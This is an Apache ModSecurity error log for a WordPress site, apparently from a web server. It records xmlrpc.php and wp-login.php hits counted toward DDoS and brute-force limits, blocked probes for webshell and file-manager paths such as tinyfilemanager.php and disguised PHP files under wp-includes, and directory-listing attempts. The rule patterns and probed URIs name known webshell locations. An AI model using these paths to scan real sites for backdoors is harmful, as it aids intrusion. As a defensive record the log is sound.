[Sun Dec 14 04:53:43.583937 2025] [:error] [pid 39614:tid 39617] [client 27.5.59.12:56059] [client 27.5.59.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.5.59.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT3SV_xybG8-9MflbDd50AAAAME"]
[Sun Dec 14 04:55:00.791417 2025] [:error] [pid 39523:tid 39534] [client 27.5.59.12:56597] [client 27.5.59.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.5.59.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT3SpDQTQH1raAj2lkgcTAAAAAY"]
[Sun Dec 14 04:56:00.042709 2025] [:error] [pid 39523:tid 39531] [client 27.5.59.12:56976] [client 27.5.59.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.5.59.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT3S4DQTQH1raAj2lkgcawAAAAM"]
[Sun Dec 14 04:56:59.956529 2025] [:error] [pid 41600:tid 41617] [client 27.5.59.12:57988] [client 27.5.59.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.5.59.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT3TG9FLTBZjcwNd_VvR3gAAAQ4"]
[Sun Dec 14 04:58:05.189173 2025] [:error] [pid 39523:tid 39550] [client 27.5.59.12:59124] [client 27.5.59.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.5.59.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT3TXTQTQH1raAj2lkgcqAAAABY"]
[Sun Dec 14 06:37:21.670634 2025] [:error] [pid 41600:tid 41609] [client 173.252.167.150:37686] [client 173.252.167.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.252.167.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT3qodFLTBZjcwNd_Vv7QAAAAQY"]
[Sun Dec 14 06:37:23.766500 2025] [:error] [pid 41600:tid 41621] [client 173.252.167.150:37686] [client 173.252.167.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.252.167.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT3qo9FLTBZjcwNd_Vv7RAAAARI"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 14 06:54:03.485961 2025] [:error] [pid 39614:tid 39637] [client 185.194.178.60:32059] [client 185.194.178.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aT3ui_xybG8-9MflbDedCgAAANU"]
[Sun Dec 14 06:54:09.636316 2025] [:error] [pid 39524:tid 39580] [client 185.194.178.71:47143] [client 185.194.178.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aT3ukWrVGpbDzFtDE9MeNgAAAFg"]
[Sun Dec 14 06:54:20.636396 2025] [:error] [pid 39525:tid 39601] [client 185.194.178.79:49921] [client 185.194.178.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aT3unE1fX_pB_BrvE_6MTQAAAJI"]
[Sun Dec 14 06:54:26.742453 2025] [:error] [pid 39525:tid 39591] [client 185.194.178.64:36875] [client 185.194.178.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aT3uok1fX_pB_BrvE_6MWAAAAIg"]
[Sun Dec 14 06:54:37.413984 2025] [:error] [pid 41600:tid 41621] [client 185.194.178.105:26103] [client 185.194.178.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aT3urdFLTBZjcwNd_VsCbgAAARI"]
[Sun Dec 14 06:54:41.823020 2025] [:error] [pid 41600:tid 41623] [client 185.194.178.78:31637] [client 185.194.178.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aT3usdFLTBZjcwNd_VsCdAAAARQ"]
[Sun Dec 14 06:54:42.458636 2025] [:error] [pid 39524:tid 39559] [client 185.194.178.58:23299] [client 185.194.178.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aT3usmrVGpbDzFtDE9MedgAAAEM"]
[Sun Dec 14 06:54:43.051323 2025] [:error] [pid 39614:tid 39638] [client 185.194.178.54:61601] [client 185.194.178.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aT3us_xybG8-9MflbDedTwAAANY"]
[Sun Dec 14 06:54:43.717201 2025] [:error] [pid 39525:tid 39596] [client 185.194.178.74:37885] [client 185.194.178.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aT3us01fX_pB_BrvE_6MhgAAAI0"]
[Sun Dec 14 06:54:45.386584 2025] [:error] [pid 39525:tid 39585] [client 185.194.178.74:32059] [client 185.194.178.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aT3utU1fX_pB_BrvE_6MjwAAAII"]
[Sun Dec 14 06:54:47.298719 2025] [:error] [pid 39525:tid 39607] [client 185.194.178.58:55317] [client 185.194.178.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aT3ut01fX_pB_BrvE_6MmgAAAJg"]
[Sun Dec 14 06:54:50.430181 2025] [:error] [pid 39614:tid 39629] [client 185.194.178.100:51275] [client 185.194.178.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aT3uuvxybG8-9MflbDedYQAAAM0"]
[Sun Dec 14 06:54:54.877475 2025] [:error] [pid 39525:tid 39606] [client 185.194.178.107:40927] [client 185.194.178.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aT3uvk1fX_pB_BrvE_6MnQAAAJc"]
[Sun Dec 14 06:54:56.860427 2025] [:error] [pid 39614:tid 39620] [client 185.194.178.89:58711] [client 185.194.178.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aT3uwPxybG8-9MflbDeddgAAAMQ"]
[Sun Dec 14 06:54:59.793323 2025] [:error] [pid 39525:tid 39583] [client 185.194.178.95:23413] [client 185.194.178.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aT3uw01fX_pB_BrvE_6MqwAAAIA"]
[Sun Dec 14 06:55:11.001955 2025] [:error] [pid 39523:tid 39533] [client 185.194.178.67:22823] [client 185.194.178.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aT3uzzQTQH1raAj2lkg4AgAAAAU"]
[Sun Dec 14 06:55:13.860080 2025] [:error] [pid 39614:tid 39638] [client 185.194.178.99:47057] [client 185.194.178.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aT3u0fxybG8-9MflbDedpQAAANY"]
[Sun Dec 14 06:55:21.427598 2025] [:error] [pid 39614:tid 39638] [client 185.194.178.93:27251] [client 185.194.178.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/defaults.php"] [unique_id "aT3u2fxybG8-9MflbDedsgAAANY"]
[Sun Dec 14 06:55:24.447119 2025] [:error] [pid 39524:tid 39575] [client 185.194.178.90:23797] [client 185.194.178.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aT3u3GrVGpbDzFtDE9MemwAAAFM"]
[Sun Dec 14 06:55:32.113789 2025] [:error] [pid 39523:tid 39551] [client 185.194.178.75:42711] [client 185.194.178.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aT3u5DQTQH1raAj2lkg4FAAAABc"]
[Sun Dec 14 06:55:35.228599 2025] [:error] [pid 39524:tid 39562] [client 185.194.178.101:54863] [client 185.194.178.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aT3u52rVGpbDzFtDE9MeogAAAEY"]
[Sun Dec 14 06:55:37.986450 2025] [:error] [pid 41600:tid 41617] [client 185.194.178.102:32405] [client 185.194.178.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "aT3u6dFLTBZjcwNd_VsCuwAAAQ4"]
[Sun Dec 14 06:55:38.607694 2025] [:error] [pid 41600:tid 41611] [client 185.194.178.103:37791] [client 185.194.178.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aT3u6tFLTBZjcwNd_VsCvgAAAQg"]
[Sun Dec 14 06:55:40.296851 2025] [:error] [pid 39525:tid 39597] [client 185.194.178.102:30011] [client 185.194.178.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aT3u7E1fX_pB_BrvE_6M6AAAAI4"]
[Sun Dec 14 06:55:47.314756 2025] [:error] [pid 39525:tid 39599] [client 185.194.178.91:23593] [client 185.194.178.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/info.php"] [unique_id "aT3u801fX_pB_BrvE_6M9wAAAJA"]
[Sun Dec 14 06:55:47.920316 2025] [:error] [pid 39525:tid 39583] [client 185.194.178.83:31973] [client 185.194.178.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class.api.php"] [unique_id "aT3u801fX_pB_BrvE_6M-AAAAIA"]
[Sun Dec 14 06:55:48.775924 2025] [:error] [pid 39523:tid 39529] [client 185.194.178.89:48729] [client 185.194.178.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aT3u9DQTQH1raAj2lkg4IQAAAAE"]
[Sun Dec 14 06:56:03.116253 2025] [:error] [pid 39523:tid 39546] [client 185.194.178.106:60401] [client 185.194.178.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aT3vAzQTQH1raAj2lkg4MgAAABI"]
[Sun Dec 14 06:56:10.383144 2025] [:error] [pid 41600:tid 41611] [client 185.194.178.104:45925] [client 185.194.178.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.104, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aT3vCtFLTBZjcwNd_VsC5wAAAQg"]
[Sun Dec 14 06:56:29.841411 2025] [:error] [pid 41600:tid 41604] [client 185.194.178.104:45925] [client 185.194.178.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aT3vHdFLTBZjcwNd_VsDHwAAAQE"]
[Sun Dec 14 06:56:34.543627 2025] [:error] [pid 39614:tid 39618] [client 185.194.178.91:37299] [client 185.194.178.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aT3vIvxybG8-9MflbDeeAwAAAMI"]
[Sun Dec 14 06:56:37.972950 2025] [:error] [pid 39614:tid 39638] [client 185.194.178.91:37299] [client 185.194.178.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/item.php"] [unique_id "aT3vJfxybG8-9MflbDeeBQAAANY"]
[Sun Dec 14 06:56:48.651770 2025] [autoindex:error] [pid 39525:tid 39596] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:48.975282 2025] [autoindex:error] [pid 39525:tid 39602] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:49.281619 2025] [autoindex:error] [pid 39525:tid 39605] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:49.601616 2025] [autoindex:error] [pid 39525:tid 39599] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:52.151722 2025] [autoindex:error] [pid 39525:tid 39604] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:52.503689 2025] [autoindex:error] [pid 39525:tid 39585] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:53.092533 2025] [autoindex:error] [pid 39525:tid 39586] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:53.444965 2025] [autoindex:error] [pid 39525:tid 39602] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:53.823651 2025] [autoindex:error] [pid 39525:tid 39595] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:54.181503 2025] [autoindex:error] [pid 39525:tid 39601] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:55.079276 2025] [autoindex:error] [pid 39525:tid 39589] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:57.904794 2025] [autoindex:error] [pid 39525:tid 39584] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:56:58.219158 2025] [autoindex:error] [pid 39525:tid 39587] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 14 06:57:02.786108 2025] [autoindex:error] [pid 39525:tid 39595] [client 185.194.178.87:59881] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
